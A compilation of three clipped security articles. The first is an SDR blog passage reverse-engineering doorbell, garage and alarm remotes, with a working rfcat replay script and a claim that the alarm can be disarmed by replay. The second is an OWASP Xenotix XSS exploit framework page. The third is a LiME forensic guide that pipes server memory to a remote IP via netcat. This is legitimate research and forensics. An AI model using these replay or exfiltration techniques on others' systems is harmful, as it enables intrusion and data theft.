  6. **Extract symbols** \- Demodulate to extract the binary data, then continue to reverse like any other software reversing.

For our purposes of visually analysing some RF signals, we will mainly look at
aspects of steps 2-5.

* * *
## Analysing Some Common Household RF Devices

### A Newish But Cheap Wireless Doorbell.

First, we will take a look at a cheap wireless doorbell system purchased from
a local electronics store. Specifically, the RF signal that the doorbell
remote transmits to the doorbell receiver.

The doorbell remote in question can be seen in the following image.

<img src='img/doorbell_ext-
dc081e49b0d36da422372d39e0ecb6ecdbdb335c04a78156b9cade6227ab8cb5.jpg'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/doorbell_ext.jpg' />

Already we can determine its operating frequency just by looking at the back
of the device, _433.92MHz_. The part number and model number are also seen
here, which may be useful for some online OSINT. Opening up the device,
further information can be found, as shown in the following image.

<img
src='img/doorbell_int-42c4bdfe280113ebbe09c6a9a729f2e2e029915648d8868849bfb1e4520b343a.jpg'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/doorbell_int.jpg' />

To avoid ruining the surprise, no further OSINT was performed on the device.
We can now fire up the _HackRF_ with _baudline_ to take a look at the RF
signal produced when pressing the button of the doorbell remote. Using my
previously mentioned script to pipe the received data to _baudline_ , we can
enter arguments to ensure we are in the correct frequency range to be viewed.
Something like `./hackrf_baudline 433000000 8000000 24 20`. Using the
functionality of _baudline_ we can zero in on the signal when the remote’s
button is pressed. A waterfall plot of this signal can be seen in the
following image.

<img
src='img/AMOOK_433MHz_FFT_HackRF-3ae400b540f3d95e7eea04c96fd05be06f9167824c964cbb4425fa6e237fb47c.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AMOOK_433MHz_FFT_HackRF.gif' />

With this we can now characterise the channel, it’s operating at the base
frequency of _433.92 MHz_ and has a very narrow bandwidth. Knowing the basic
characteristics of a EM wave, what else can we tell about this signal? Its
amplitude is changing, in fact, the signal appears to be pulsed on and off, so
this is likely to be a form of ASK with OOK. It also appears to be a number of
repeating packets with short gaps between. Within _baudline_ we can pause the
output, and take a closer look at the signal. Opening up the waveform window,
we can now scroll through the entire transmission, in which we can each packet
has the same sequence of OOK, as shown in the image below.

<img
src='img/Doorbell_433MHz_Osc1-92d5dc063997d3bda9aebd4318b8373c71e6ae0b1034b3519e9ad6afff2a02df.png'
width='960' height='83' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/Doorbell_433MHz_Osc1.png' />

We can now clearly see that this is OOK, however there is a definite short
pulse and a long pulse visible, so it is most likely PDM and answers our
modulation question.

We need to work out the symbol rate, so in this case we see there are two
distinct symbols used to represent different information. One might be a short
gap with a long pulse, the other a long gap with a short pulse. You can use
the previously mentioned _delta selected_ functionality of _baudline_ to
measure the time of these symbols and calculate how many would occur within
one second to determine the baudrate \(_1 baud = 1 symbol per second_\).
However, in our case we might want to transmit this signal later and need to
represent each symbol with 1’s and 0’s, for instance the short pulse symbol
may be represented by _0001_. For this, we will measure the shortest pulse or
gap that appears. Using the shortest pulse, we get a baud of _2960_.

So, knowing this is PDM, we can assume that a short pulse may represent a _0_
, whilst the long pulse may represent a _1_. With this assumption, we can now
say that the doorbell transmits multiple packets of the binary data
`011111101101001111` on each click of the button. Capturing another click of
the remote, the sequence does not change.

Also notice there is a short pulse at the very start, shown in waveform above,
before the sequence of repeating packets. This is most likely some kind of
synchronisation for the receiver, not exactly a preamble, but something.

So, what do we know about this RF signal now?

  * Channel - 433.92 MHz Centre Frequency
  * Modulation - Pulse Duration Modulation \(PDM\)
  * Symbol Rate - 2960 baud
  * Synchronisation - A short pulse that occurs before the repeating packets
  * Symbols - We have made an assumption of two symbols representing the binary data `011111101101001111`

As there is no keying and only one button on the remote, we’re unable to
determine the structure of the packets without another device. However, let’s
go ahead and test what we know by transmitting our own data, and attempting to
ring the doorbell. In this case we can use the _YardStick One_ USB device to
transmit data sent to it with _rf\_cat_ , a similar tool to _netcat_ for RF.
To do this we can write a _python_ script to interact with the _YardStick One_
and send our data.

We will need to represent the data with respect to the baudrate. So as
previously mentioned, for our assumed symbol representing _0_ \(a long gap
with a short pulse\), we will need to transmit _0001_. For the symbol
representing _1_ , we will need to transmit _0111_.

Other considerations are the gap between packets, which was measured to be
four symbols in duration, and also the synchronisation pulse that appears,
which was measured to occur four symbols prior to the first packet.

The resulting _python_ script can be seen below.

[code]

    #!/usr/bin/python
    import sys
    from rflib import *
    import bitstring
    
    baseFreq = 433920000 # 433.92 MHz
    baudRate = 2960
    
    key = '000101110111011101110111011100010111011100010111000100010111011101110111'
    pad = '0000000000000000'
    
    d = RfCat()
    d.setMdmModulation(MOD_ASK_OOK) # Setting the modulation
    d.setFreq(baseFreq)             # Setting the TX frequency
    d.setMdmSyncMode(0)             # No sync mode
    d.setMdmDRate(baudRate)         # The symbol rate
    d.setMaxPower()                 # Max Power, YOLO!
    #d.setPktPQT(0) # Preamble Quality Threshold
    
    full_pwm = '{}{}'.format(key, pad)
    rf_data = bitstring.BitArray(bin=full_pwm).tobytes() # Convert to bytes
    d.makePktFLEN(len(rf_data))                          # Set the packet length in bytes
    print "Transmitting key {}".format(rf_data.encode('hex'))
    print "Packet length: " + str(len(rf_data))
    
    d.RFxmit('\x00\x01\x00\x00') # TX synchronisation pulse
    d.RFxmit(rf_data, repeat=30) # TX repeated packets
    
    print "Done."
    d.setModeIDLE()
[/code]

#### Leet Doorbell Hax

Current Time 0:00

Loaded: 0%

Progress: 0%

Seekbar Handle

/

Duration Time 0:20



Mute



####

* * *
### An Old and Weird Garage Door Remote.

Another device looked at was a very old and as you will see, strange, wireless
garage door remote. Looking at the device, we can again quickly determine the
operating frequency, _26.995 MHz_ , as shown in the image below.

<img
src='img/garage_ext-3621e646d77f60837e7415151aa859881b8b4e59443303821d5f84c82ddc1b3f.jpg'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_ext.jpg' />

This is not a commonly used frequency for these types of devices anymore, in
fact the antenna length needed for this is bigger than my telescopic antenna
can go, however this is not too much of an issue. The internals of this device
reveal it includes the ability to set a code via DIP switches in order to pair
it with the garage door receiver, shown below.

<img
src='img/garage_int-6c7090db59c42e55fb40eb07a25d563bac1975eeb82cc0f706f7e64561d7fabd.jpg'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_int.jpg' />

**Note:** _That big cylinder in the centre is a ferrite coil antenna, and
clearly this device was made in an era where electronic components were much
bigger_

Again, without doing any further OSINT, we take a look at the signal this
produces with the help of _HackRF_ and _baudline_. The first thing to notice
is that the signal only transmits while the remote’s button is held, and will
transmit constantly. This can be seen below.

<img
src='img/garagedoor_26MHz_FFT-85605af1ea387997ed0ff61967b1c86e5b787f610bb4fc1e2311b83dadec5fcc.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garagedoor_26MHz_FFT.gif' />

Again, no apparent change in frequency, and a narrow bandwidth signal. Taking
a look at the waveform, we can see the following.

<img
src='img/garagedoor_26MHz_Osc-461ec5eae2a6140b09036113976505d764df4bee6095dacf526fb00227c597e6.png'
width='960' height='84' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garagedoor_26MHz_Osc.png' />

Looking at this, there is no change in phase but appears to have subtle
changes in amplitude. So this is most likely ASK. Within baudline I modified
the _aperture color_ in order to see the changes in amplitude more clearly on
the waterfall plot, but was unsuccessful. I decided to save this signal and
load it into _Inspectrum_ , where I was more successful in viewing the
amplitude changes. Fiddling with the _Power Max_ and _Power Min_ settings I
was able to eliminate all but the highest amplitude, and started to see a
repeating pattern of packets. One of these packets can be seen below.

<img
src='img/garage_org-1418646c6b15ed2a9e1a2bf4b4bf0963fff3effba1c2ee8d240b957b052e2828.png'
width='960' height='604' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_org.png' />

Each repeating packet was the same, and there was no change with repeated
presses of the garage remote button. Enabling the _cursors_ functionality
helped here to discern the high and low amplitudes, along with the symbol
rate. Assuming a low amplitude represents a _0_ and a high amplitude
represents a _1_ , the packet data appeared to be `00001100111101001`.
However, I was more interested in how this related to the DIP switch positions
inside the device.

There are sixteen DIP switches, in two sets of eight, which I thought might
relate directly to the 16+1 apparent symbols. I set all the DIP switches to
their lower positions, which I will call the _0_ setting, and take another
look at the signal. This time we get the following.

<img
src='img/garage_A0B0_cropped-68ad5ac98779f7aef71b41c5cf7c67364bdd925f5aedda9e4882658894f617f3.png'
width='960' height='144' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_A0B0_cropped.png' />

OK, so we’ve added some _1_ ’s, and the seventeenth symbol remained a _1_.
Let’s try setting the first DIP to its high setting. We get the following.

<img
src='img/garage_A1B0_cropped-4a10edb33385e7abfc1f61ac7714021615f904df5de198e9cfdf635509855326.png'
width='960' height='126' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_A1B0_cropped.png' />

Alright, so symbol position two went to a _0_ , and again the seventeenth
symbol remains the same. Let’s try the first DIP in the second set of eight
DIP switches.

<img
src='img/garage_A0B1_cropped-848a7a2e545b788d27ecc8e9502ab72133de87e22d9dda7e613d328994d2efc2.png'
width='960' height='159' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_A0B1_cropped.png' />

There is no change from all the DIP switches off, in fact changing any of the
second set of eight DIPs would produce the same result.

Again, trying just the first DIP, and adding the second DIP, we get the
following.

<img
src='img/garage_A12B0_cropped-2221ffe3001a4787f497eb5806157252c874bd4676bd8562a8c8e239c902ad4e.png'
width='960' height='146' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_A12B0_cropped.png' />

Now we are seeing some relationship, the first DIP seems to relate to the
second symbol position, while the second DIP seemed to relate to the twelfth
position. Trying each DIP switch of the first set of eight DIPs, which I will
call set _A_ , I am able to determine the following relationship to the
symbols.

<img
src='img/garage_DIP_relations-a18eb8cec73dfcecfd2192330ab2c0bf6acde35ff64a70f8ff260d1dab832fa8.png'
width='960' height='182' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_DIP_relations.png' />

At this point, this seemed to be a simple mapping of the DIP to a symbol,
however when trying DIP _A1_ , with the first DIP of the second set of eight,
which I will call set _B_ , the relationship seemed to become a little more
complex. This is shown below.

<img
src='img/garage_A1B1_cropped-703fb566ae689b0c0acc674e0b28fb6edd3f5a28ba61dab1de4976e412eefa2c.png'
width='960' height='151' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_A1B1_cropped.png' />

Notice now, we have a _1_ in the first symbol position, and also in the second
position, which we were expecting to be _0_. It seemed the DIP _B1_ modified
the resulting value of DIP _A1_. Trying this with the other corresponding _A_
and _B_ DIPs produced the same respective result.

After playing around with this, I realised I could describe this modification,
and the result of the symbol position with respect to the _A_ and _B_ DIP
switch pairs, with some discrete mathematics. This can be seen in the
following table.

<img
src='img/garage_final_mapping-751c007d82e6f64ec9b766e7eea85292dd49e62edb53d7aa20fdd952d7b6e65a.png'
width='960' height='372' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/garage_final_mapping.png' />

To explain this table, _A_ and _B_ refer to the respective DIP switch
positions, _1_ being high and _0_ being low. `A*B` refers to each odd symbol,
and is the binary AND of DIP _A_ and _B_. Whilst `~A+B` refers to each even
symbol, and is the binary OR of NOT _A_ and _B_.

With the original DIP positions of `11110111 01010010`, we see the result of
`00110011010011001`, however this does not correspond to what we saw when
analysing the signal, which was `00001100111101001`. This because we still
need to apply the previous relationship we first noted between the _A_ DIPs
and their symbol position. Doing this, shown by the blue arrows above, we can
now see the result of our discrete math now corresponds correctly.

Given a captured signal from this garage remote, I am now reliably able to
determine each of the sixteen DIP switch positions without ever seeing them.
From here I would have liked to attempt to transmit this signal in a similar
manner to the doorbell, however the _YardStick One_ is unable to transmit on
that particular frequency. However, as the transmitted data never changes,
this garage door system should be vulnerable to a **replay attack** , in which
the signal is simply recorded and retransmitted. The _HackRF_ has the ability
to do this.

* * *
### A Common Home and Business Security System.

Another system that we will take a look at is a very common security system
that seems to be used for many homes, and businesses. This is a relatively
modern system, that incorporates multiple sensors, alarms, and a polling to
the security company’s monitoring service. This system includes a keypad to
arm and disarm the alarm, however it also includes a number of remotes that
allow the arming and disarming of the security system from outside the
building. This is what we will briefly look at.

In this case the, the key did not blatantly display the operating frequency of
the device, however it was very simple to discover in the RF spectrum, as it
operated in the _433 MHz_ range, similar to the doorbell remote, which is
common for these types of remotes.

Having a look at the signal in _baudline_ , we see the following.

<img
src='img/AlarmKey_433MHz_FFT-1b2f88bdb9b955a5968de5e49f44dac2925403ca4111db57a44f840732b7a3fd.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AlarmKey_433MHz_FFT.gif' />

Observing this there again seems to be a number of packets sent with each
click of the disarm button, however each signal seems much shorter and quicker
than the doorbell remote. It is a little difficult to see, but pausing the
output and zooming in to the time domain in the waterfall plot, we are able to
better discern the signal. This is shown below.

<img
src='img/AlarmKey_433MHZ_FFT-71845a03228ff1e22b7e1626571ebb6775fdf7df9e0c4a5b746c399affc91afe.png'
width='20%' height='20%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AlarmKey_433MHZ_FFT.png' />

From this, we are able to determine the frequency, see that it has a narrow
bandwidth, and is looking very similar to the doorbell remote signal. Taking a
look at the at the waveform, we see the following.

<img
src='img/AlarmKey_433MHz_Osc1-846d41fe1a853afedd2ef461e24339338af5771960d315d0bc31737e8eeb9918.png'
width='960' height='85' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AlarmKey_433MHz_Osc1.png' />

This is now much easier to see a complete packet, and the modulation is again
PDM. The packet appears to be more well-formed than the doorbell, and appears
to have a preamble, the initial seven long pulses, and a trailing sequence of
short pulses. The data in between must represent the button pressed, as there
are separate buttons for arm and disarm, along with a few others.

Each packet in the sequence that is sent with a click of the disarm button is
the same, but one would expect that this packet would be different to packet
sent in another key press. Let’s take a look at another press of the same
disarm button.

<img
src='img/AlarmKey_433MHz_Osc2-ff77e6da89c36cf4bc0d9d02469b78e170908196fa67f63d46f7c585d0ce2f5a.png'
width='960' height='83' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AlarmKey_433MHz_Osc2.png' />

Exactly the same.

This security system suffers from the same security vulnerability with both
the doorbell and garage door remotes, I can simply record and replay this
signal in a **replay attack** to disarm the security system of the home,
business, or wherever this system is implemented. To prevent this issue, this
should really be a **rolling code** system, where the coding of the signal
changes on each press of the remote’s button.

This could be further analysed by trying different buttons and observing the
changes, however for the purpose of this discussion, I went no further.

* * *
### WiFi 2.4GHz.

Just out of curiosity let’s take a look at _2.4 GHz_ WiFi to see some more
complex signals and modulation.

Using _baudline_ again to observe a portion of the WiFi frequency range, we
can see the following.

<img
src='img/WIFI_2.4GHz_FFT-8722a8673ccd668cd34f211fa1501646daa606c2600b4c0679c44623f450a922.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/WIFI_2.4GHz_FFT.gif' />

From this we can see flashes of wireless packets in four distinct channels.
_Peak Smoothing_ was enabled to show the wide bandwidth of each channel in the
spectrum display at the bottom of the image. This wide frequency bandwidth of
each signal is due to WiFi using spread spectrum schemes such as DSSS.

Decimating the input to view one channel, then looking at the waveform of the
signal, we see the following.

<img
src='img/WIFI_2.4GHz_Osc-d87bdfb6b7f1c6c8e7762f4c986bc639d3bccd0acc20611517f5fdba8d922ee3.png'
width='960' height='83' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/WIFI_2.4GHz_Osc.png' />

This is an example of a signal that is much more difficult to determine the
modulation in use visually. OSINT would be necessary in this case, and looking
up WiFi modulation will show you that the more complex forms of QAM is used.

* * *
## Demodulation

Ultimately to conduct a proper reverse engineering effort on an RF signal
using SDR, requires some better understanding of RF engineering and the use of
GNU Radio Companion to properly demodulate the signal. Other possibilities are
to find already made GNU Radio workflows, or other software, that can
demodulate the RF signal with its particular characteristics. This leaves the
initial digital data, which may be further analysed using regular software
reverse engineering techniques.

* * *
## What Have We Learned?

We looked at some RF theory to get a good basic understanding of what RF is,
how data is transmitted using RF signals, and discussed some common analogue
and digital modulation schemes that are the basis of more complex modulation.
We briefly described SDR, including some hardware and software SDR tools that
are useful for RF signal analysis and reverse engineering, along with tips for
using those tools to capture and view RF signals. We identified a good
methodology for attempting to reverse engineer and understand wireless
protocols, and finally, we looked at the RF signals produced by some common
devices in an effort to determine their characteristics, and identified some
security issues along the way.

Although this discussion is not exactly a deep guide on reversing RF signals
with SDR, hopefully you have learned something, or at least found it an
interesting read.

tags:  SDR RF reversing

  

# OWASP Xenotix XSS Exploit Framework - OWASP

**Created:**| _8/7/2013 8:02:31 AM_  
---|---  
**Updated:**| _8/7/2013 8:02:31 AM_  
**Author:**| __  
**Tags:**| _Exploit programming browser_  
  

#  **Xenotix XSS Exploit Framework v4 2013******

<img src='img/Temp2_5696.png' alt='800px-Xenotix.png' />

PROJECT INFO _What does this OWASP project offer you**?**_ RELEASE\(S\) INFO _What releases are available for this project**?**_ **what** |  _is this project**?**_  
---|---  
_**Name:**_ OWASP Xenotix XSS Exploit Framework v4 2013  
_**Purpose:**_ OWASP Xenotix XSS Exploit Framework is an advanced Cross Site
Scripting \(XSS\) vulnerability detection and exploitation framework**.** It
provides Zero False Positive scan results with its unique Triple Browser
Engine \(Trident, WebKit, and Gecko\) embedded scanner**.** It is claimed to
have the world’s 2nd largest XSS Payloads of about 1500+ distinctive XSS
Payloads for effective XSS vulnerability detection and WAF Bypass**.** It is
incorporated with a feature rich Information Gathering module for target
Reconnaissance**.** The Exploit Framework includes highly offensive XSS
exploitation modules for Penetration Testing and Proof of Concept
creation**.**  
_**License:**_ Creative Commons Attribution ShareAlike 3**.** 0 License  
**who** |  _is working on this project**?**_  
_**Project Leader\(s\):**_

  * Ajin Abraham @ 

  
**how** |  _can you learn more**?**_  
_**Project Pamphlet:**_ Not Yet Created  
_**Project Presentation:**_  
_**Mailing list:**_ Mailing List Archives  
_**Project Roadmap:**_ View  
**Key Contacts**  
  * Contact Ajin Abraham @  to contribute to this project 

  * Contact Ajin Abraham @  to review or sponsor this project 

  * Contact the GPC  to report a problem or concern about this project or to update information**.**

  
****

# Open Security Research: Acquiring Linux Memory from a Server Far Far Away

**Created:**| _5/28/2014 2:23:39 PM_  
---|---  
**Updated:**| _5/28/2014 2:23:39 PM_  
**Author:**| __  
**Tags:**| _post-exploitation Memory forensics_  
  

# Acquiring Linux Memory from a Server Far Far Away

By Dan Caban.  
  
In the past it was possible to acquire memory from linux systems by directly
imaging \(with `dd`\) psudo-device files such as `/dev/mem` and `/dev/kmem`.
In later kernels, this access was restricted and/or removed. To provide
investigators and system administrator’s unrestricted access, loadable kernel
modules were developed and made available in projects such as fmem and LiME
\(Linux Memory Extractor\).  
  
In this blog post I will introduce you to a scenario where LiME is used to
acquire memory from a CentOS 6.5 x64 system that is physically hosted in
another continent.  
  
LiME is a Loadable Kernel Module \(LKM\). LKM’s are typically designed to
extend kernel functionality, and can be inserted by a user with root
privileges. This sounds a little scary, and it does introduce tangible risks
if done wrong. But on the positive side:

  * the LiME compiled LKM is rather small
  * the process does not require a restart
  * the LKM can be added/removed quickly
  * the resulting memory dump can be transferred over the network without writing to the local disk; and 
  * the memory dump is compatible with Volatility

# Getting LiME

Since LiME is distributed as source without any binaries you need to compile
it yourself. You will find documentation on the internet suggesting that you
jump right in and compile LiME on your target system. I recommend you first
see if a pre-compiled LKM exists, or alternatively compile and test in a
virtual machine first.  
  
In either case, you first need to determine the kernel running on your target
system, as the LKM you use must have been compiled on the the **exact
operating system, kernel version and architecture**. Here we determine our
target is running the kernel 2.6.32-431.5.1.el6.x86\_64.

[code]

    [centos@targetsystem ~]$ uname -a
    Linux localhost.localdomain 2.6.32-431.5.1.el6.x86_64 #1 SMP Wed Feb 12 00:41:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
    
    
[/code]

  
  
One great reputable resource for pre-compiled LiME LKM’s is the Linux
Forensics Tools Repository at Cert.org. They provide a RPM repository of
forensic tools for Red Hat Enterprise Linux, CentOS and Fedora.  
  
To check to see your specific kernel is compiled for your operating system,
visit Cert and find the “`repoview`” for your target operating system.

<img src='img/Temp2_5824.png' />

Browse to “`applications/forensics tools`” and view the documentation on
“`lime-kernel-objects`”.  
  
As of today's date the following kernels have pre-compiled LiME LKM’s for
CentOS 6 / RHEL 6:

[code]

    2.6.32-71
    2.6.32-71.14.1
    2.6.32-71.18.1
    2.6.32-71.24.1
    2.6.32-71.29.1
    2.6.32-71.7.1
    2.6.32-131.0.15
    2.6.32-220
    2.6.32-279
    2.6.32-358.0.1
    2.6.32-358.11.1
    2.6.32-358.14.1
    2.6.32-358.18.1
    2.6.32-358.2.1
    2.6.32-358.23.2
    2.6.32-358.6.1
    2.6.32-431
    2.6.32-431.1.2.0.1
    2.6.32-431.3.1
    
    
[/code]

  
  
Oh no\! The kind folks at Cert are not completely up to date, and my target
system is running a newer kernel. That means I have to do the heavy lifting
myself.  
  
I installed CentOS 6.5 x64 in a virtual machine and updated until I had the
latest kernel matching `2.6.32-431.5.1.el6.x86_64`.

[code]

    [root@vmtest ~]$ yum update
    [root@vmtest ~]$ yum upgrade
    
    
[/code]

  
  
Since this was a kernel upgrade, I gave my virtual machine a reboot.

[code]

    [root@vmtest ~]$ shutdown -r now
    
    
[/code]

  
  
We now have the matching kernel, but we still need the associated kernel
headers and source as well as the tools needed for compiling.

[code]

    [root@vmtest ~]$ yum install gcc gcc-c++ kernel-headers kernel-source
    
    
    
[/code]

  
  
Now we are finally ready to download and compile our LiME LKM\!

[code]

    [root@vmtest ~]# mkdir lime; cd lime
    [root@vmtest lime]# wget https://lime-forensics.googlecode.com/files/lime-forensics-1.1-r17.tar.gz
    [root@vmtest lime]# tar -xzvf lime-forensics-1.1-r17.tar.gz  
    [root@vmtest lime]# cd src 
    [root@vmtest src]# make
    ….
    make -C /lib/modules/2.6.32-431.5.1.el6.x86_64/build M=/root/lime/src modules
    …
    [root@vmtest src]# ls lime*.ko
    lime-2.6.32-431.5.1.el6.x86_64.ko
    
    
[/code]

# Conducting a test run

We can now test out our newly built LiME LKM on our virtual machine by loading
the kernel module and dumping memory to a local file.  
  
We are opting to create our memory image on the local file system, so I
provide the argument `path=/root/mem.img`. LiME supports raw, padded and
“lime” formats. Since volatility supports the lime format, I have provided the
argument `format=lime`.

[code]

    [root@vmtest ~]# insmod lime-2.6.32-431.5.1.el6.x86_64.ko "path=/root/mem.img format=lime"
    
    
[/code]

  
  
I have validated the memory images matches the amount of RAM I allocated to
the virtual machine \(1GB\) and that it contains valid content.

[code]

    [root@vmtest ~]# ls -lah /root/mem.img 
    -r--r--r--. 1 root root 1.0G Mar  9 08:11 /root/mem.img
    [root@vmtest ~]# strings /root/mem.img | head -n 3
    EMiL
    root (hd0,0)
    kernel /vmlinuz-2.6.32-431.5.1.el6.x86_64 ro root=/dev/mapper/vg_livecd-lv_root rd_NO_LUKS 
    
    
[/code]

  
  
I can now remove the kernel module with one simple command:

[code]

    [root@vmtest ~]# rmmod lime
    
    
[/code]

# Acquiring memory over the internet

Now we return to our scenario where we are trying to capture memory from a
CentOS server on another continent. I opted to upload LiME LKM to a server I
control and then download it via HTTP.

[code]

    [root@targetserver ~]# wget http://my.server-on-the-internet.com/lime-2.6.32-431.5.1.el6.x86_64.ko
    
    
    
[/code]

  
  
The great thing about LiME is that it is not limited to just output to a local
disk or physical file. In our test run we supplied an output path with the
argument `path=/root/mem.img`. We will instead create a TCP service using the
argument `path=tcp:4444`.

[code]

    [root@targetserver ~]# insmod lime-2.6.32-431.5.1.el6.x86_64.ko "path=tcp:4444 format=lime"
    
    
    
[/code]

  
  
If I were situated within our clients network or port 4444 was open over the
internet, I could simply use netcat to connect and transfer the memory image
to my investigative laptop.

[code]

    [dan@investigativelaptop ~]# nc target.server.com 4444 > /home/dan/evidence/evidence.lime.img
    
    
    
[/code]

  
  
Since in this scenario our server is on the internet, and a restrictive
firewall is inline we are forced to get creative.  
  
Remember how I downloaded the LiME LKM to the target server via HTTP \(port
80\)? That means the server can make outbound TCP connections via that port.  
  
I can setup a netcat listener on my investigative laptop here in our lab, and
opened it up to the internet. I did this by configuring my firewall to pass
traffic on this port to my local LAN address, and you can achieve the same
results with most routers designed for home/small office with port forwarding.  
  
Step 1: setup netcat server at our lab listening on port 80.

[code]

    [dan@investigativelaptop ~]# nc –l 80 > /home/dan/evidence/evidence.lime.img
    
    
[/code]

  
  
Step 2: Run LiME LKM and configure it to wait for TCP connections on port
4444.

[code]

    [root@targetserver ~]# insmod lime-2.6.32-431.5.1.el6.x86_64.ko "path=tcp:4444 format=lime"
    
    
[/code]

  
  
On the target server I can now use a local netcat connection that is piped to
a remote connection in our lab via port 80 \(where 60.70.80.90 is our
imaginary lab IP address.\)  
  
Step 3: In another shell initiate the netcat chain to transfer the memory
image to my investigative laptop at our lab.

[code]

    [root@targetserver ~]# nc localhost 4444 | nc 60.70.80.90 80
    
    
    
[/code]

  
  
Voila\! I now have a memory image on my investigative laptop and can start my
analysis.  
  
Below is a basic visualization of the process:

<img src='img/Temp2_5823.png' />

# Memory Analysis with Volatility

Volatility ships with many prebuilt profiles for parsing memory dumps, but
they are focused exclusively the Windows operating system. To perform memory
analysis on a sample collected from linux, we need to first create a profile
that **matches the exact operating system, kernel version and architecture**
\(surprise, surprise\!\) So let’s head back to our virtual machine where we
will need to collect the required information to create a linux profile:

  * the debug symbols \(System.map\*\); 
    * Requirements: access to the test virtual machine system running on the same operating system, kernel version and architecture
  * and information about the kernel’s data structures \(vtypes\). 
    * Requirements: Volatility source and the necessary tools to compile vtypes running on the same operating system, kernel version and architecture.

First let’s create a folder for collection of required files.

[code]

    cd ~
    mkdir -p volatility-profile/boot/
    mkdir -p volatility-profile/volatility/tools/linux/
    
    
[/code]

  
  
Now let’s collect the debug symbols. On a CentOS system it is located in
/boot/ directory. We will need to find the System.map\* file that matches the
active kernel version that was running when we collected the system memory
\(2.6.32-431.5.1.el6.x86\_64\).

[code]

    [root@vmtest ~]# cd /boot/
    [root@vmtest boot]# ls -lah System.map*
    -rw-r--r--. 1 root root 2.5M Feb 11 20:07 System.map-2.6.32-431.5.1.el6.x86_64
    -rw-r--r--. 1 root root 2.5M Nov 21 22:40 System.map-2.6.32-431.el6.x86_64
    
    
[/code]

  
  
Copy the appropriate System.map file to the collection folder.

[code]

    [root@vmtest boot]# cp System.map-2.6.32-431.5.1.el6.x86_64 ~/volatility-profile/boot/
    
    
[/code]

  
  
One of the requirements to compile the vtypes is libdwarf. While this may be
easily installed on some operating systems using apt-get or yum, CentOS 6.5
requires that we borrow and compile the source from the Fedora Project. The
remaining prerequisites for compiling should have been installed when we
compiled LiME earlier in the section Getting LiME.

[code]

    [root@vmtest boot]# cd ~
    [root@vmtest ~]# mkdir libdwarf
    [root@vmtest libdwarf]# cd libdwarf/
    [root@vmtest libdwarf]# wget http://pkgs.fedoraproject.org/repo/pkgs/libdwarf/libdwarf-20140208.tar.gz/4dc74e08a82fa1d3cab6ca6b9610761e/libdwarf-20140208.tar.gz
    [root@vmtest libdwarf]# tar -xzvf libdwarf-20140208.tar.gz 
    [root@vmtest dwarf-20140208]# cd dwarf-20140208/
    [root@vmtest dwarf-20140208]#./configure
    [root@vmtest dwarf-20140208]# make
    [root@vmtest dwarfdump]# cd dwarfdump
    [root@vmtest dwarfdump]# make install
    
    
    
[/code]

  
  
Now we can obtain a copy of the Volatility source code and compile the vtypes.

[code]

    [root@vmtest dwarfdump]# cd ~
    [root@vmtest ~]# mkdir volatility
    [root@vmtest ~]# cd volatility
    [root@vmtest volatility]# cd volatility
    [root@vmtest volatility]# wget https://volatility.googlecode.com/files/volatility-2.3.1.tar.gz
    [root@vmtest volatility]# tar -xzvf volatility-2.3.1.tar.gz
    [root@vmtest volatility]# cd volatility-2.3.1/tools/linux/
    [root@vmtest linux]# make
    
    
[/code]

  
  
After successfully compiling the vtypes, we will copy the resulting
module.dwarf back out to the collection folder.

[code]

    [root@vmtest linux]# cp module.dwarf ~/volatility-profile/volatility/tools/linux/
    
    
[/code]

  
  
Now that we have our collected the two requirements to create a system
profile, let’s package them into a ZIP file, as per the requirements of
Volatility.

[code]

    [root@vmtest linux]# cd ~/volatility-profile/
    [root@vmtest volatility-profile]# zip CentOS-6.5-2.6.32-431.5.1.el6.x86_64.zip boot/System.map-2.6.32-431.5.1.el6.x86_64 volatility/tools/linux/module.dwarf 
      adding: boot/System.map-2.6.32-431.5.1.el6.x86_64 (deflated 80%)
      adding: volatility/tools/linux/module.dwarf (deflated 90%)
    
    
    
[/code]

  
  
On my investigative laptop I could drop this ZIP file in the default
volatility profile directory, but I would rather avoid losing it in the future
due to upgrades/updates. I instead will create a folder to manage my custom
profiles and reference it when running volatility.

[code]

    [dan@investigativelaptop evidence]# mkdir -p ~/.volatility/profiles/
    cp CentOS-6.5-2.6.32-431.5.1.el6.x86_64.zip ~/.volatility/profiles/
    
    
[/code]

  
  
Now I can confirm Volatility recognizes providing the new plugin directory.

[code]

    [dan@investigativelaptop evidence]# vol.py --plugins=/home/dan/.volatility/profiles/ --info | grep -i profile | grep -i linux
    Volatility Foundation Volatility Framework 2.3.1
    LinuxCentOS-6_5-2_6_32-431_5_1_el6_x86_64x64 - A Profile for Linux CentOS-6.5-2.6.32-431.5.1.el6.x86_64 x64
    
    
[/code]

  
  
Now I can start running the linux\_ prefixed plugins that come shipped with
Volatility to conduct memory analysis.

[code]

    dan@investigativelaptop evidence]# vol.py --plugins=/home/dan/.volatility/profiles/ --profile=LinuxCentOS-6_5-2_6_32-431_5_1_el6_x86_64x64 linux_cpuinfo -f /home/dan/evidence/evidence.lime.img
    Volatility Foundation Volatility Framework 2.3.1
